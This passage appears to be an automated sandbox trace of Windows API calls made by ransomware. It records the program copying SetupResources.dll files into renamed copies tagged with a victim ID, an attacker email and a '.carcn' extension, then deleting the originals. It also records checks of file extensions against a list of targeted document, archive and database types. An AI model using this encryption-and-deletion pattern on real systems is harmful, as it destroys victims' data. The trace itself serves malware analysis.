dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0158.966] GetLastError () returned 0x0 [0158.966] ReadFile (in: hFile=0x2f8, lpBuffer=0x39cd020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2eafecc, lpOverlapped=0x0 | out: lpBuffer=0x39cd020*, lpNumberOfBytesRead=0x2eafecc*=0x4958, lpOverlapped=0x0) returned 1 [0159.140] WriteFile (in: hFile=0x30c, lpBuffer=0x39cd020*, nNumberOfBytesToWrite=0x4960, lpNumberOfBytesWritten=0x2eafc94, lpOverlapped=0x0 | out: lpBuffer=0x39cd020*, lpNumberOfBytesWritten=0x2eafc94*=0x4960, lpOverlapped=0x0) returned 1 [0159.143] ReadFile (in: hFile=0x2f8, lpBuffer=0x39cd020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2eafecc, lpOverlapped=0x0 | out: lpBuffer=0x39cd020*, lpNumberOfBytesRead=0x2eafecc*=0x0, lpOverlapped=0x0) returned 1 [0159.143] WriteFile (in: hFile=0x30c, lpBuffer=0x39cd020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x2eafc94, lpOverlapped=0x0 | out: lpBuffer=0x39cd020*, lpNumberOfBytesWritten=0x2eafc94*=0xf8, lpOverlapped=0x0) returned 1 [0159.143] SetEndOfFile (hFile=0x30c) returned 1 [0159.143] CloseHandle (hObject=0x30c) returned 1 [0159.153] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eafec0 | out: lpNewFilePointer=0x0) returned 1 [0159.153] SetEndOfFile (hFile=0x2f8) returned 1 [0159.154] CloseHandle (hObject=0x2f8) returned 1 [0159.154] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1031\\SetupResources.dll.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x80) returned 1 [0159.155] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1031\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1031\\setupresources.dll")) returned 1 [0159.155] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\SetupResources.dll") returned 45 [0159.155] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\SetupResources.dll") returned 45 [0159.155] lstrlenW (lpString=".doc") returned 4 [0159.155] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0159.155] lstrlenW (lpString=".docx") returned 5 [0159.155] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0159.155] lstrlenW (lpString=".pdf") returned 4 [0159.155] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0159.155] lstrlenW (lpString=".xls") returned 4 [0159.155] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0159.155] lstrlenW (lpString=".xlsx") returned 5 [0159.155] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0159.155] lstrlenW (lpString=".ppt") returned 4 [0159.155] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0159.155] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\SetupResources.dll") returned 45 [0159.155] lstrlenW (lpString=".zip") returned 4 [0159.155] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0159.155] lstrlenW (lpString=".rar") returned 4 [0159.155] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0159.155] lstrlenW (lpString=".bz2") returned 4 [0159.155] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0159.155] lstrlenW (lpString=".7z") returned 3 [0159.155] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0159.156] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\SetupResources.dll") returned 45 [0159.156] lstrlenW (lpString=".dbf") returned 4 [0159.156] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0159.156] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\SetupResources.dll") returned 45 [0159.156] lstrlenW (lpString=".1cd") returned 4 [0159.156] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0159.156] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\SetupResources.dll") returned 45 [0159.156] lstrlenW (lpString=".jpg") returned 4 [0159.156] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0159.156] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\SetupResources.dll") returned 45 [0159.156] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\SetupResources.dll") returned 45 [0159.156] lstrlenW (lpString=".doc") returned 4 [0159.156] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0159.156] lstrlenW (lpString=".docx") returned 5 [0159.156] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0159.156] lstrlenW (lpString=".pdf") returned 4 [0159.156] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0159.156] lstrlenW (lpString=".xls") returned 4 [0159.156] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0159.156] lstrlenW (lpString=".xlsx") returned 5 [0159.156] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0159.156] lstrlenW (lpString=".ppt") returned 4 [0159.156] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0159.156] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\SetupResources.dll") returned 45 [0159.156] lstrlenW (lpString=".zip") returned 4 [0159.156] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0159.156] lstrlenW (lpString=".rar") returned 4 [0159.156] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0159.156] lstrlenW (lpString=".bz2") returned 4 [0159.156] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0159.157] lstrlenW (lpString=".7z") returned 3 [0159.157] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0159.157] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\SetupResources.dll") returned 45 [0159.157] lstrlenW (lpString=".dbf") returned 4 [0159.157] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0159.157] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\SetupResources.dll") returned 45 [0159.157] lstrlenW (lpString=".1cd") returned 4 [0159.157] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0159.157] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\SetupResources.dll") returned 45 [0159.157] lstrlenW (lpString=".jpg") returned 4 [0159.157] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0159.157] lstrcmpiW (lpString1=".dll", lpString2=".carcn") returned 1 [0159.157] lstrlenW (lpString="SetupResources.dll") returned 18 [0159.157] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1035\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1035\\setupresources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8 [0159.157] GetFileSizeEx (in: hFile=0x2f8, lpFileSize=0x2eaff14 | out: lpFileSize=0x2eaff14*=18264) returned 1 [0159.157] CloseHandle (hObject=0x2f8) returned 1 [0159.157] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1035\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1035\\setupresources.dll")) returned 0x80 [0159.157] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1035\\SetupResources.dll.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\588bce7c90097ed212\\1035\\setupresources.dll.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0159.158] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1035\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1035\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8 [0159.158] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eafec0 | out: lpNewFilePointer=0x0) returned 1 [0159.158] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eafec0 | out: lpNewFilePointer=0x0) returned 1 [0159.158] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1035\\SetupResources.dll.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\588bce7c90097ed212\\1035\\setupresources.dll.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0159.200] GetLastError () returned 0x0 [0159.200] ReadFile (in: hFile=0x2f8, lpBuffer=0x39cd020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2eafecc, lpOverlapped=0x0 | out: lpBuffer=0x39cd020*, lpNumberOfBytesRead=0x2eafecc*=0x4758, lpOverlapped=0x0) returned 1 [0159.267] WriteFile (in: hFile=0x2fc, lpBuffer=0x39cd020*, nNumberOfBytesToWrite=0x4760, lpNumberOfBytesWritten=0x2eafc94, lpOverlapped=0x0 | out: lpBuffer=0x39cd020*, lpNumberOfBytesWritten=0x2eafc94*=0x4760, lpOverlapped=0x0) returned 1 [0159.268] ReadFile (in: hFile=0x2f8, lpBuffer=0x39cd020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2eafecc, lpOverlapped=0x0 | out: lpBuffer=0x39cd020*, lpNumberOfBytesRead=0x2eafecc*=0x0, lpOverlapped=0x0) returned 1 [0159.268] WriteFile (in: hFile=0x2fc, lpBuffer=0x39cd020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x2eafc94, lpOverlapped=0x0 | out: lpBuffer=0x39cd020*, lpNumberOfBytesWritten=0x2eafc94*=0xf8, lpOverlapped=0x0) returned 1 [0159.268] SetEndOfFile (hFile=0x2fc) returned 1 [0159.268] CloseHandle (hObject=0x2fc) returned 1 [0159.270] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eafec0 | out: lpNewFilePointer=0x0) returned 1 [0159.270] SetEndOfFile (hFile=0x2f8) returned 1 [0159.271] CloseHandle (hObject=0x2f8) returned 1 [0159.271] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1035\\SetupResources.dll.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x80) returned 1 [0159.271] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1035\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1035\\setupresources.dll")) returned 1 [0159.271] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\SetupResources.dll") returned 45 [0159.271] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\SetupResources.dll") returned 45 [0159.271] lstrlenW (lpString=".doc") returned 4 [0159.271] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0159.271] lstrlenW (lpString=".docx") returned 5 [0159.271] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0159.271] lstrlenW (lpString=".pdf") returned 4 [0159.271] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0159.271] lstrlenW (lpString=".xls") returned 4 [0159.272] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0159.272] lstrlenW (lpString=".xlsx") returned 5 [0159.272] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0159.272] lstrlenW (lpString=".ppt") returned 4 [0159.272] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0159.272] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\SetupResources.dll") returned 45 [0159.272] lstrlenW (lpString=".zip") returned 4 [0159.272] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0159.272] lstrlenW (lpString=".rar") returned 4 [0159.272] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0159.272] lstrlenW (lpString=".bz2") returned 4 [0159.272] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0159.272] lstrlenW (lpString=".7z") returned 3 [0159.272] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0159.272] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\SetupResources.dll") returned 45 [0159.272] lstrlenW (lpString=".dbf") returned 4 [0159.272] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0159.272] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\SetupResources.dll") returned 45 [0159.272] lstrlenW (lpString=".1cd") returned 4 [0159.272] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0159.272] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\SetupResources.dll") returned 45 [0159.272] lstrlenW (lpString=".jpg") returned 4 [0159.272] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0159.272] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\SetupResources.dll") returned 45 [0159.272] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\SetupResources.dll") returned 45 [0159.272] lstrlenW (lpString=".doc") returned 4 [0159.272] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0159.272] lstrlenW (lpString=".docx") returned 5 [0159.273] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0159.273] lstrlenW (lpString=".pdf") returned 4 [0159.273] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0159.273] lstrlenW (lpString=".xls") returned 4 [0159.273] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0159.273] lstrlenW (lpString=".xlsx") returned 5 [0159.273] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0159.273] lstrlenW (lpString=".ppt") returned 4 [0159.273] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0159.273] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\SetupResources.dll") returned 45 [0159.273] lstrlenW (lpString=".zip") returned 4 [0159.273] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0159.273] lstrlenW (lpString=".rar") returned 4 [0159.273] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0159.273] lstrlenW (lpString=".bz2") returned 4 [0159.273] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0159.273] lstrlenW (lpString=".7z") returned 3 [0159.273] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0159.273] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\SetupResources.dll") returned 45 [0159.273] lstrlenW (lpString=".dbf") returned 4 [0159.273] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0159.273] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\SetupResources.dll") returned 45 [0159.273] lstrlenW (lpString=".1cd") returned 4 [0159.273] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0159.273] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\SetupResources.dll") returned 45 [0159.273] lstrlenW (lpString=".jpg") returned 4 [0159.273] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0159.273] lstrcmpiW (lpString1=".dll", lpString2=".carcn") returned 1 [0159.273] lstrlenW (lpString="SetupResources.dll") returned 18 [0159.273] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1038\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1038\\setupresources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0159.699] GetFileSizeEx (in: hFile=0x318, lpFileSize=0x2eaff14 | out: lpFileSize=0x2eaff14*=18776) returned 1 [0159.699] CloseHandle (hObject=0x318) returned 1 [0159.700] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1038\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1038\\setupresources.dll")) returned 0x80 [0159.700] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1038\\SetupResources.dll.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\588bce7c90097ed212\\1038\\setupresources.dll.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0159.700] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1038\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1038\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0159.700] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eafec0 | out: lpNewFilePointer=0x0) returned 1 [0159.700] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eafec0 | out: lpNewFilePointer=0x0) returned 1 [0159.700] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1038\\SetupResources.dll.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\588bce7c90097ed212\\1038\\setupresources.dll.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0 [0160.107] GetLastError () returned 0x0 [0160.107] ReadFile (in: hFile=0x318, lpBuffer=0x39cd020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2eafecc, lpOverlapped=0x0 | out: lpBuffer=0x39cd020*, lpNumberOfBytesRead=0x2eafecc*=0x4958, lpOverlapped=0x0) returned 1 [0160.163] WriteFile (in: hFile=0x2e0, lpBuffer=0x39cd020*, nNumberOfBytesToWrite=0x4960, lpNumberOfBytesWritten=0x2eafc94, lpOverlapped=0x0 | out: lpBuffer=0x39cd020*, lpNumberOfBytesWritten=0x2eafc94*=0x4960, lpOverlapped=0x0) returned 1 [0160.165] ReadFile (in: hFile=0x318, lpBuffer=0x39cd020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2eafecc, lpOverlapped=0x0 | out: lpBuffer=0x39cd020*, lpNumberOfBytesRead=0x2eafecc*=0x0, lpOverlapped=0x0) returned 1 [0160.165] WriteFile (in: hFile=0x2e0, lpBuffer=0x39cd020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x2eafc94, lpOverlapped=0x0 | out: lpBuffer=0x39cd020*, lpNumberOfBytesWritten=0x2eafc94*=0xf8, lpOverlapped=0x0) returned 1 [0160.165] SetEndOfFile (hFile=0x2e0) returned 1 [0160.165] CloseHandle (hObject=0x2e0) returned 1 [0160.166] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eafec0 | out: lpNewFilePointer=0x0) returned 1 [0160.166] SetEndOfFile (hFile=0x318) returned 1 [0160.167] CloseHandle (hObject=0x318) returned 1 [0160.167] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1038\\SetupResources.dll.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x80) returned 1 [0160.167] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1038\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1038\\setupresources.dll")) returned 1 [0160.167] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\SetupResources.dll") returned 45 [0160.167] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\SetupResources.dll") returned 45 [0160.167] lstrlenW (lpString=".doc") returned 4 [0160.167] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0160.167] lstrlenW (lpString=".docx") returned 5 [0160.167] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0160.167] lstrlenW (lpString=".pdf") returned 4 [0160.167] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0160.167] lstrlenW (lpString=".xls") returned 4 [0160.167] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0160.167] lstrlenW (lpString=".xlsx") returned 5 [0160.168] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0160.168] lstrlenW (lpString=".ppt") returned 4 [0160.168] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0160.168] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\SetupResources.dll") returned 45 [0160.168] lstrlenW (lpString=".zip") returned 4 [0160.168] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0160.168] lstrlenW (lpString=".rar") returned 4 [0160.168] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0160.168] lstrlenW (lpString=".bz2") returned 4 [0160.168] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0160.168] lstrlenW (lpString=".7z") returned 3 [0160.168] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0160.168] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\SetupResources.dll") returned 45 [0160.168] lstrlenW (lpString=".dbf") returned 4 [0160.168] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0160.168] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\SetupResources.dll") returned 45 [0160.168] lstrlenW (lpString=".1cd") returned 4 [0160.168] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0160.168] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\SetupResources.dll") returned 45 [0160.168] lstrlenW (lpString=".jpg") returned 4 [0160.168] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0160.168] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\SetupResources.dll") returned 45 [0160.168] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\SetupResources.dll") returned 45 [0160.168] lstrlenW (lpString=".doc") returned 4 [0160.168] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0160.168] lstrlenW (lpString=".docx") returned 5 [0160.168] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0160.168] lstrlenW (lpString=".pdf") returned 4 [0160.168] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0160.168] lstrlenW (lpString=".xls") returned 4 [0160.168] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0160.168] lstrlenW (lpString=".xlsx") returned 5 [0160.168] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0160.168] lstrlenW (lpString=".ppt") returned 4 [0160.168] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0160.169] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\SetupResources.dll") returned 45 [0160.169] lstrlenW (lpString=".zip") returned 4 [0160.169] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0160.169] lstrlenW (lpString=".rar") returned 4 [0160.169] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0160.169] lstrlenW (lpString=".bz2") returned 4 [0160.169] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0160.169] lstrlenW (lpString=".7z") returned 3 [0160.169] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0160.169] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\SetupResources.dll") returned 45 [0160.169] lstrlenW (lpString=".dbf") returned 4 [0160.169] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0160.169] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\SetupResources.dll") returned 45 [0160.169] lstrlenW (lpString=".1cd") returned 4 [0160.169] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0160.169] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\SetupResources.dll") returned 45 [0160.169] lstrlenW (lpString=".jpg") returned 4 [0160.169] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0160.169] lstrcmpiW (lpString1=".dll", lpString2=".carcn") returned 1 [0160.169] lstrlenW (lpString="SetupResources.dll") returned 18 [0160.169] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1042\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1042\\setupresources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0160.604] GetFileSizeEx (in: hFile=0x300, lpFileSize=0x2eaff14 | out: lpFileSize=0x2eaff14*=15192) returned 1 [0160.604] CloseHandle (hObject=0x300) returned 1 [0160.605] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1042\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1042\\setupresources.dll")) returned 0x80 [0160.605] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1042\\SetupResources.dll.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\588bce7c90097ed212\\1042\\setupresources.dll.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0160.605] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1042\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1042\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0160.605] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eafec0 | out: lpNewFilePointer=0x0) returned 1 [0160.605] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eafec0 | out: lpNewFilePointer=0x0) returned 1 [0160.605] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1042\\SetupResources.dll.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\588bce7c90097ed212\\1042\\setupresources.dll.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0160.654] GetLastError () returned 0x0 [0160.654] ReadFile (in: hFile=0x300, lpBuffer=0x39cd020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2eafecc, lpOverlapped=0x0 | out: lpBuffer=0x39cd020*, lpNumberOfBytesRead=0x2eafecc*=0x3b58, lpOverlapped=0x0) returned 1 [0161.015] WriteFile (in: hFile=0x364, lpBuffer=0x39cd020*, nNumberOfBytesToWrite=0x3b60, lpNumberOfBytesWritten=0x2eafc94, lpOverlapped=0x0 | out: lpBuffer=0x39cd020*, lpNumberOfBytesWritten=0x2eafc94*=0x3b60, lpOverlapped=0x0) returned 1 [0161.017] ReadFile (in: hFile=0x300, lpBuffer=0x39cd020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2eafecc, lpOverlapped=0x0 | out: lpBuffer=0x39cd020*, lpNumberOfBytesRead=0x2eafecc*=0x0, lpOverlapped=0x0) returned 1 [0161.017] WriteFile (in: hFile=0x364, lpBuffer=0x39cd020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x2eafc94, lpOverlapped=0x0 | out: lpBuffer=0x39cd020*, lpNumberOfBytesWritten=0x2eafc94*=0xf8, lpOverlapped=0x0) returned 1 [0161.017] SetEndOfFile (hFile=0x364) returned 1 [0161.017] CloseHandle (hObject=0x364) returned 1 [0161.018] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eafec0 | out: lpNewFilePointer=0x0) returned 1 [0161.018] SetEndOfFile (hFile=0x300) returned 1 [0161.019] CloseHandle (hObject=0x300) returned 1 [0161.019] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1042\\SetupResources.dll.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x80) returned 1 [0161.019] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1042\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1042\\setupresources.dll")) returned 1 [0161.019] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\SetupResources.dll") returned 45 [0161.019] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\SetupResources.dll") returned 45 [0161.019] lstrlenW (lpString=".doc") returned 4 [0161.019] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0161.019] lstrlenW (lpString=".docx") returned 5 [0161.020] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0161.020] lstrlenW (lpString=".pdf") returned 4 [0161.020] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0161.020] lstrlenW (lpString=".xls") returned 4 [0161.020] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0161.020] lstrlenW (lpString=".xlsx") returned 5 [0161.020] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0161.020] lstrlenW (lpString=".ppt") returned 4 [0161.020] lstrcmpiW 